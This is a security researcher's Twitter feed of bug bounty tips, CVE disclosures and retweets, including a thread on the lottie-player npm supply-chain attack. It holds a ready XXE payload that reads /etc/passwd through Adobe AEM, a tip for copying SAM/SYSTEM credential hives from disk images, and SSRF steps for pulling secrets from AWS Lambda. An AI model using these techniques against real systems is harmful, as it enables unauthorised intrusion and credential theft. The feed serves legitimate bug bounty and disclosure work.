Husband + Father | Penetration Tester / Hacker | Interested in Security - Bugbounty - Vulnerability/Exploit Research CVE-2016-0956, CVE-2013-6674, CVE-2014-2018
United Arab Emirates, Dubai
Joined September 2018
- Tweets724
- Following2K
- Followers9.4K
- Likes1.2K
Pinned Tweet
[+] Linkedin XSS vulnerability affecting 40+ domains...
youtu.be/VwLSUHNhrOw
#AEMSecurity #bugbountytips
AEMSecurity retweeted
This interview was super fun, and @InsiderPhD was an amazing host. Here's a picture of the trophy we won - together the crown from @Bugcrowd's bug boss challenge!
New Video!
I sit down and chat with @_godiego__, @sw33tLie and @bsysop about their recent event success and get their thoughts on collaborating with other hackers, how they all contribute to the success of their team, and get their advice for would be live hacking event teams
AEMSecurity retweeted
[+] Little Achievement Update!
I've discovered a new security vulnerability, CVE-2024-54679, in CyberPanel (aka Cyber Panel), a widely-used web hosting control panel powered by OpenLiteSpeed.
CVE Identifier: CVE-2024-54679
Advisory: nvd.nist.gov/vuln/detail/CVE…
AEMSecurity retweeted
Full advisory URL:
github.com/froxlor/Froxlor/s…
AEMSecurity retweeted
[+] CVE-2024-34070
NXTL Solutions offensive security team is dedicated to securing cyberspace with advanced vulnerability research. Recently dicovered a critical Blind XSS vulnerability > Froxlor leading to potential app compromise.
#Bugbountytips #NXTLSolutions #bugbountytip
AEM guideContainer XXE?
guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}}
#AEMSecurity
You can use the above payload by sending an HTTP POST request to guideContainer endpoints while hunting on Adobe AEM for bugs!
#Bugbountytips #bugbounty
[+] #BugbountyTip Take your time, Do Not Rush!
Using GAU I found cached tokens lacking proper expiration. This misconfiguration resulted in unauthorized access to multiple user accounts! Need for secure token lifecycle management yeah? ;) #AEMSecurity #Bugbountytips
AEMSecurity retweeted
Giving back to the community is a core part of who we are. This month, our team hosted free #SecureCoding workshops for local developers, promoting safer code practices across the UAE. Together, we can raise the bar for security standards! #NXTLSolutions #CyberSecurity
AEMSecurity retweeted
Did you know that 7z can browse .VHD and .VMDK files? You can open them right up, and even directly browse ntfs filesystems.
On a pentest and find a bunch of disk images? Copy the SAM/SECURITY/SYSTEM hives directly from the images, no mounting, copying, or fussing around.
A 0-click pre-auth RCE (root) exploit for LiteSpeed CyberPanel was released on 27th October and is being actively exploited. If anyone is still using version 2.3.6? immediately upgrade it to the latest version 2.3.7!
#AEMSecurity #0day #Security
AEMSecurity retweeted
This report was completely unexpected for me! 😇
1. Bypass the login.microsoftonline.com gateway
2. Inspect *.js files and append *.js.map extension
4. Dump *.js.map files to find secrets or endpoints
5. Abuse the token in API request
#bugbounty #bugbountytips #bugbountytip
AEMSecurity retweeted
TLDR: Massive Supply Chain attack had been happening on the highly popular JS Library lottie-player since ~2 hours ago that populates attackers Web3 wallet connection pop-up on legitimate websites.
I'll write here what we know, what can be done and how to detect it in the wild.
You can track the entire conversations and remediation through github.com/LottieFiles/lotti… - just to give a timeline of events
3 Hours ago, lottie-player end-user created the linked issue ^ on GitHub, specifying that while seamlessly including the lottie-player library on his website, it populated a Web3 wallet connection:
Simple inclusion of
unpkg.com/@lottiefiles/lotti…
or
cdn.jsdelivr.net/npm/@lottie…
Led to:
Users were experiencing the same on popular websites all across the internet, like @tryhackme and it seems that the original attack intent was to target major crypto websites who utilize the library.
1 Hour ago, VP of Engineering at Lottie was tackling the issue within the GitHub thread
As some users who investigated already came to speculations, it seems that one of the maintainers accounts tokens - github.com/Aidosmf had been compromised and allowed attackers to plant malicious code on ~3 versions across NPM
npmjs.com/package/@lottiefil…
2.0.5 - pushed to npm at 8:12 PM GMT, 30 Oct 2024
2.0.6 - pushed to npm at 8:35 PM GMT, 30 Oct 2024
2.0.7 - pushed to npm at 9:57 PM GMT, 30 Oct 2024
As of the latest update 20 minutes ago, seems that the original infected package was removed from NPM and most of leading CDNs, however websites who directly reference the affected versions are probably still vulnerable and need to either backport to 2.04 or update to 2.08
"The affected versions have now been removed from npmjs.com (2.0.5, 2.0.6, 2.0.7)."
Another GitHub user has included a gist with reference to the malware itself
gist.github.com/jkobus/57f7a…
If you'd like to probe your web assets and see which one of them are using one of the still affected versions, you can use the following Nuclei Template:
gist.github.com/NagliNagli/b…
I'll update the thread if anything new comes up.
AEMSecurity retweeted
At @assetnote, we identified DNS poisoning on an estimated 30M+ domains. We noticed this in 2021, but suspect that it's been happening for a lot longer. We detail the analysis, theories and two practical and reliable client-side exploitation vectors. dnspoison.com
AEMSecurity retweeted
New writeup from @_specters_ and I: we're finally allowed to disclose a vulnerability reported to Kia which would've allowed an attacker to remotely control almost all vehicles made after 2013 using only the license plate.
Full disclosure:
samcurry.net/hacking-kia
[+] Using Google dorks for unique subdomains?
Try this:
site:*-*-*.yourtarget.com
site:*-*.*.yourtarget.com
site:*.*.*.yourtarget.com
#bugbountytips
#bugbountytip
#AEMSecurity
AEMSecurity retweeted
Although this is a known technique, I wanted to share it as I’ve recently encountered several Lambda-based SSRFs where I could exfiltrate environment variables and headers containing sensitive secrets and critical infrastructure data.
Do you have an HTTP pingback or control over a URL parameter that returns a response based on the passed URL, but you’re unsure where to go next? You can easily verify if your SSRF is on a Lambda instance by hitting: localhost:9001/2018-06-01/runtime/invocation/next.
Additionally, the Lambda function may have whitelisted internal IP ranges, allowing you to expand your attack surface by enumerating internal services and endpoints. I’ll share more on this in an upcoming tweet.
#BugBountyTips #SSRF #AWS #Security #Recon #BugCrowd #HackerOne